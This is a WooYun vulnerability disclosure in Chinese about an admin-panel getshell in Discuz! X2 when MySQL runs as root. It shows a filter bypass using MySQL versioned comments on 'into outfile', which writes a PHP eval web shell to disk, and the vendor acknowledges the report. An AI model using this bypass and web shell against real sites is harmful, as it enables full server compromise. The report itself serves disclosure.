漏洞概要 关注数(34) 关注此漏洞
缺陷编号: WooYun-2012-16134
漏洞标题: Discuz X2 后台getshell(当mysql为root时)
相关厂商: Discuz!
漏洞作者: 卖切糕的
提交时间: 2012-12-17 13:05
公开时间: 2013-01-31 13:05
漏洞类型: 命令执行
危害等级: 低
自评Rank: 5
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 过滤不严
漏洞详情
披露状态:
2012-12-17: 细节已通知厂商并且等待厂商处理中
2012-12-17: 厂商已经确认,细节仅向厂商公开
2012-12-20: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2013-02-10: 细节向核心白帽子及相关领域专家公开
2013-02-20: 细节向普通白帽子公开
2013-03-02: 细节向实习白帽子公开
2013-01-31: 细节向公众公开
简要描述:
危险语句过滤,可以绕过
详细说明:
最近帮朋友看了一个站,DZx2的,拿到了创始人都没办法getshell
百度无果,自己本地架设了一下
1,当mysql是root时
站长---数据库---升级
尝试
select '1' into outfile 'E:\2.txt'
会提示
[Type] 查询语句安全威胁
[Query] select '1' into outfile 'E:\2.txt'
为什么会这样呢?
\config\config_global.php中
限制了into outfile函数
尝试绕过
/*!select*/ '1' /*!into outfile*/ 'E:\3.txt'
Discuz! 数据结构升级成功,影响的记录行数 1
如果要导出一句话,即
/*!select*/ '<?php @eval($_POST[cmd]);?>' /*!into outfile*/ 'E:\3.php'
注意:一句话密码不要有引号
漏洞证明:
如上
修复方案:
无
版权声明:转载请注明来源 卖切糕的@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:5
确认时间:2012-12-17 14:04
厂商回复:
感谢您提出的问题
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值